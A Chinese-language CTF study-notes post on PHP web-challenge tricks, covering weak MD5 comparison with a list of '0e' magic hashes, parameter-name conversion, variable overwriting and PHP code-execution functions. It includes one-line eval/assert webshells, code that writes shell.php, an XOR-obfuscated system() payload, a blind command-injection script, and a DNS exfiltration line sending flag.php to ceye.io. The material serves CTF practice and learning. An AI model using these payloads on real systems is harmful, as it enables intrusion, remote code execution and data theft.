intval函数

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

\(var:要转换成 integer 的数量值。
\)
base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

相等md5

弱相等

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的纯数字哈希值都解释为0
因为0e开头会被认为是科学计数法,而在科学计数法中,0的n次方都是0,所以结果被解释为0

0e开头纯数字md5和原值

明文 密文
QNKCDZO 0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1502113478a 0e861580163291561247404381396064
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s155964671a 0e342768416822451524974117254469
s1184209335a 0e072485820392773389523109082030
s1665632922a 0e731198061491163073197128363787
s1502113478a 0e861580163291561247404381396064
s1836677006a 0e481036490867661113260034900752
s1091221200a 0e940624217856561557816327384675
s155964671a 0e342768416822451524974117254469
s1502113478a 0e861580163291561247404381396064
s155964671a 0e342768416822451524974117254469
s1665632922a 0e731198061491163073197128363787
s155964671a 0e342768416822451524974117254469
s1091221200a 0e940624217856561557816327384675
s1836677006a 0e481036490867661113260034900752
s1885207154a 0e509367213418206700842008763514
s532378020a 0e220463095855511507588041205815
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s214587387a 0e848240448830537924465865611904
s1502113478a 0e861580163291561247404381396064
s1091221200a 0e940624217856561557816327384675
s1665632922a 0e731198061491163073197128363787
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s1665632922a 0e731198061491163073197128363787
s878926199a 0e545993274517709034328855841020

强相等

数组绕过(PHP8无法绕过)

在PHP5和PHP7中,当两个md5进行比较时,若参数是不同的数组,那么=比较的结果均为True

<?php

    $a = $_GET['a'];
    $b = $_GET['b'];
    echo md5($a) === md5($b);
?>


http://localhost:3000/1.php?a[]=1&b[]=2

执行结果为True

in_array()函数漏洞

没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1

反射类

ReflectionClass类可以根据提供的字符串来反射类的信息。

new ReflectionClass(“ctfshow1”);

PHP运算符优先级

5044383959474e68644341715944733 ---> PD89YGNhdCAqYDs --> 末尾添加等于号 -->  <?=`cat *`;

intval

intval("33a") --> 33
intval("a33a") --> 0

动态解析

PHP中当变量后紧跟着括号时,变量的值被当作函数名来解析


魔术方法

函数 作用
__construct() 类的构造函数
__destruct() 类的析构函数
__call() 在对象中调用一个不可访问方法时调用
__callStatic() 用静态方式中调用一个不可访问方法时调用
__get() 获得一个类的成员变量时调用
__set() 设置一个类的成员变量时调用
__isset() 当对不可访问属性调用isset()或empty()时调用
__unset() 当对不可访问属性调用unset()时被调用
__sleep() 执行serialize()时,先会调用这个函数
__wakeup() 执行unserialize()时,先会调用这个函数
__toString() 类被当成字符串时的回应方法
__invoke() 调用函数的方式调用一个对象时的回应方法
__set_state() 调用var_export()导出类时,此静态方法会被调用
__clone() 当对象复制完成时调用
__autoload() 尝试加载未定义的类
__debugInfo() 打印所需调试信息

FilesystemIterator

见https://www.php.net/manual/zh/class.filesystemiterator.php


目录溢出

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

变量名自动转换

表单提交到PHP脚本时,底层的PHP会做一层转换,将一些不符合命名规则的符号转换为下划线

原型 转换后
a.b a_b
a b a_b
a[b a_b

阅读源码找到转换代码为

PHPAPI void php_register_variable_ex(char *var_name, zval *val, zval *track_vars_array)
{
    char *p = NULL; 
    char *ip = NULL; /* index pointer */
    char *index;
    char *var, *var_orig;
    /* ignore leading spaces in the variable name */
    while (*var_name==' ') { // 忽略前置空格
        var_name++;
    }
    for (p = var; *p; p++) {
        if (*p == ' ' || *p == '.') { // 空格和点替换成下划线
            *p='_';
        } 
        else if (*p == '[') {
            is_array = 1; // 如果遇到 [ 则视为数组,is_array 设为1
            ip = p;
            *p = 0;
            break;
        }
    }
    ...
    
    
    if (is_array) {
        int nest_level = 0;
        while (1) {
            char *index_s;
            size_t new_idx_len = 0;
            ip++; // [ 的下一个字符
            index_s = ip;
            if (*ip==']') { //如果下一个字符就已经是],表示没有设置key
                index_s = NULL;
            } 
            else {
                ip = strchr(ip, ']'); // 查找剩余字符串中的 ]
                if (!ip) {
                    /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
                    *(index_s - 1) = '_'; // 如果没找到,则将 [ 替换成下划线
                    index_len = 0;
                    if (index) {
                        index_len = strlen(index);
                    }
                    goto plain_var;
                    return;
                }
            *ip = 0;
            new_idx_len = strlen(index_s); // key 的长度到第一个出现 ] 为止
            }
        }
    ...
    }
}

将数组元素组合为字符串

implode(get_defined_vars())

将字符串解析到变量中

parse_str("name=Peter&age=43",$myArray);

结果为
Array ( [name] => Peter [age] => 43 )

gettext()

gettext()函数的别名为_

_()==gettext() 是gettext()的拓展函数。
开启text扩展,要php扩展目录下有php_gettext.dll


正则匹配溢出

详情见https://www.laruence.com/2010/06/08/1579.html

大致意思为超过最大回溯数就不会得出正确结果


无回显时

接收网站 http://ceye.io/records/dns

ping `cat flag.php`.xxxx.ceye.io -c 1

PHP变量覆盖

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

此处由于parse_str导入了符号表
故可以在GET方法提交_POST[key1]=36d和_POST[key2]=36d
再次进行extract后,出现变量\(key1和\)key2


tee命令

将标准输入的数据输出成文件

ls /|tee 1

call_user_func

调用类中函数

class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func('ctfshow::getFlag');

PHP传递数组

?x[]=2&x[]=3

结果为

[_GET] => Array
        (
            [x] => Array
                (
                    [0] => 2
                    [1] => 3
                )

        )


命令盲注

import requests

url = "http://63ff95a6-f924-4a76-92e9-d77a1646e37a.challenge.ctf.show/?c="

# payload = "if [ `ls / -1 | awk \"NR=={}\" | cut -c \"{}\"` == {} ];then sleep3;fi"
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi"

strings = "abcdefghijklmnopqrstuvwxyz-_/0123456789"

cols = 10
results = ""
for col in range(31, cols + 42):
    for string in strings:
        target = url + payload.format(col, string)
        try:
            requests.get(target, timeout=2)
        except:
            results += string
            print(results)
print('-' * 20, results, '-' * 20, sep='\n')

PHP 弱类型比较

在PHP中遇到数字与字符串进行松散比较()时,会将字符串中前几位是数字且数字后面不是”.”,“e”或”E”的子串转化为数字,与数字进行比较,如果相同则返回为true,不同返回为false,后面的所有字符串直接截断扔掉。

详情见:https://www.php.net/manual/zh/types.comparisons.php


异或构造

使用计算器,ascii码的最高位为0
因此只需将构造的最高位为1便可。

%8E

a -> %EF
0110 0001
1000 1110
1110 1111


c -> %ED
0110 0011
1000 1110
1110 1101


s -> %FD
0111 0011
1000 1110
1111 1101

y -> %F7
0111 1001
1000 1110
1111 0111


t -> %FA
0111 0100
1000 1110
1111 1010


e -> %EB
0110 0101
1000 1110
1110 1011

m -> %E3
0110 1101
1000 1110
1110 0011

l -> %E2
0110 1100
1000 1110
1110 0010

空格 -> %AE
0010 0000
1000 1110
1010 1110

f -> %E8
0110 0110
1000 1110
1110 1000

g -> %E9
0110 0111
1000 1110
1110 1001

. -> %A0
0010 1110
1000 1110
1010 0000

p -> %FE
0111 0000
1000 1110
1111 1110

h -> %E6
0110 1000
1000 1110
1110 0110


("system")("tac flag.php")
(("%8E%8E%8E%8E%8E%8E"^"%FD%F7%FD%FA%EB%E3")("%8E%8E%8E%8E%8E%8E%8E%8E%8E%8E%8E%8E"^"%FA%EF%ED%AE%E8%E2%EF%E9%A0%FE%E6%FE"))

PHP默认全局命名空间

在PHP的命名空间默认为”\”,所有的函数和类都在这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径。而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法


PHP代码执行函数总结

eval()

eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:

<?php eval($_POST[cmd])?>

assert()

与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

<?php 
//?cmd=phpinfo()
assert($_REQUEST[cmd]); 
?>

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int \(limit = -1 [, int &\)count ]] )

  搜索subject中匹配pattern的部分, 以replacement进行替换。

  preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

<?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

create_function()

create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

原理

create_function('$fname','echo $fname."Zhang"')

类似于

function fT($fname) {
  echo $fname."Zhang";
}

因此将其大括号闭合再将后面大括号注释均可达到RCE

利用

有问题的代码

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

漏洞利用

http://localhost/02-8.php?id=2;}phpinfo();/*

执行过程为

源代码:
function fT($a) {
  echo "test".$a;
}
 
注入后代码:
function fT($a) {
  echo "test";}
  phpinfo();/*;//此处为注入代码。
}

array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

call_user_func()/call_user_func_array ()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

array_filter()

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

usort()、uasort()

php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();

php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

文件操作函数

<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

动态函数

<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>
版权声明:本文为amazingman113原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/amazingman113/p/16062626.html